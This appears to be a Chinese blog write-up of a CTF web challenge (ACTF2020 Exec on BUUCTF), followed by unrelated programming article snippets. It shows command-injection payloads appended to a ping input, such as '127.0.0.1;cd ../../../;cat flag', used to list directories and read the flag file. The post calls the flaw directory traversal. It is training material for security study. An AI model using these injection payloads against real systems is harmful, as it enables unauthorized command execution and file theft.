首页 > 其他分享 >[ACTF2020 新生赛]Exec

[ACTF2020 新生赛]Exec

时间:2023-07-20 18:11:51浏览次数:55  
标签:ACTF2020 遍历 .. Exec 0.1 新生 flag 127.0 目录

[ACTF2020 新生赛]Exec

题目来源:buuctf

题目类型:web

涉及考点:目录遍历

1. 题目直接给了一个输入框,ping一下127.0.0.1看看

接着查看目录,直接127.0.0.1;ls

只有index.php,我们先看看:

127.0.0.1;cat index.php

发现还是这个输入页面,没别的东西了,我们接下来目录遍历去找flag

2. 逐步往上层遍历

利用 ../ 向上遍历,当传入127.0.0.1;cd ../../../;ls 时看到了flag:

直接查看就有了,最终构造的payload如下:

127.0.0.1;cd ../../../;cat flag
flag{d666afef-8d93-4e23-9a6c-46a14704e4bd}

3. 小结一下

目录遍历是一个Web安全漏洞,攻击者可以利用该漏洞读取运行应用程序的服务器上的任意文件。如果没有针对目录遍历攻击采取任何防御措施,攻击者可以通过请求URL从服务器的文件系统中检索任意文件。

日期:2023.7.20

作者:y0Zero

标签:ACTF2020,遍历,..,Exec,0.1,新生,flag,127.0,目录
From: https://www.cnblogs.com/bkofyZ/p/17569217.html

相关文章

  • mysql EXECUTE s1 into a
    使用MySQL中的EXECUTE语句将查询结果存储在变量中在MySQL中,我们经常需要执行查询语句并将结果存储在变量中以供后续使用。为了实现这个目标,MySQL提供了一个非常有用的EXECUTE语句。本文将介绍EXECUTE语句的使用方法,并提供几个简单的示例来帮助读者更好地理解该语句的用法。EXECUT......
  • A failure occurred while executing com.android.build.gradle.tasks.PackageAnd
    Afailureoccurredwhileexecutingcom.android.build.gradle.tasks.PackageAnd在Android开发过程中,我们经常会遇到各种各样的错误和异常。其中一个常见的错误是“Afailureoccurredwhileexecutingcom.android.build.gradle.tasks.PackageAnd”。在本篇文章中,我们将讨论这个......
  • ThreadPoolExecutor线程池用法简介
    ThreadPoolExecutor 是Java中用于管理线程池的类,它提供了一种方便的方式来执行多线程任务。通过使用线程池,我们可以有效地管理和复用线程,提高程序的性能和资源利用率。下面是 ThreadPoolExecutor 线程池的详细用法介绍:创建线程池对象:ThreadPoolExecutorexecutor=ne......
  • 浅析npm init、create、exec,npx。
    npm-execnpmexecnpmexec<pkg>npmxnpmx<pkg>npm官方文档中指出x,其实就是exec的别名,通俗来讲意思就是npmexec、npmx,两个命令是完全等价的。npmexec<pkg>的执行流程-在本地查找是否有<pkg>对应的npm包-若找到,则运行这个包的package.json中bin字段对应的可执......
  • 使用mvn test -Dtest=具体方法名,结果报:No tests were executed!
    执行命令:mvnw.cmdtest-Dtest=com.cy.store.mapper.UserMapperTests#print问题描述:[ERROR]Failedtoexecutegoalorg.apache.maven.plugins:maven-surefire-plugin:2.22.2:test(default-test)onprojectstore:Notestswereexecuted! (Set-DfailIfNoTests=falseto......
  • docker exec 执行sql
    实现"dockerexec执行sql"的步骤为了实现"dockerexec执行sql",我们可以按照以下步骤进行操作:步骤描述步骤1运行一个适合的数据库容器步骤2进入容器步骤3执行SQL命令现在让我们逐步解释每个步骤需要做什么,并提供相应的代码示例。步骤1:运行一......
  • [ACTF新生赛2020]outguess
    首先拿到文件查看图片信息社会主义核心价值观编码,直接解码用kali里面的outguess隐写解一下outguess-k'abc'-rmmm.jpgflag.txt之后catflag.txt......
  • java ExecutorService 主线程不停吗
    如何实现"JavaExecutorService主线程不停"1.简介在Java中,可以使用ExecutorService来实现多线程任务的执行和管理。主线程指的是调用ExecutorService的线程,在任务执行完成之前,主线程通常是需要等待的,但有时候我们希望主线程不停止,而是继续执行其他操作。本文将介绍如何实现这......
  • mysql报错:You must reset your password using ALTER USER statement before executin
    mysql报错:YoumustresetyourpasswordusingALTERUSERstatementbeforeexecutingthisstatement.新安装mysql后,登录后,执行任何命令都会报错:YoumustresetyourpasswordusingALTERUSERstatementbeforeexecutingthisstatement. 【解决办法】MySQL版本5.7.6版本......
  • 解决php中通过exec调用python脚本报ModuleNotFoundError错误
    背景出于某些原因,我们有时会在PHP中通过exec来调用Python代码,有可能是某些功能只能用Python实现(或用Python实现比较方便),有可能是出于性能考虑(Python可以执行耗时任务)。但我们有时会发现,在控制台用命令行的方式运行python脚本一切正常,在php中用exec调用就报ModuleNotFoundEr......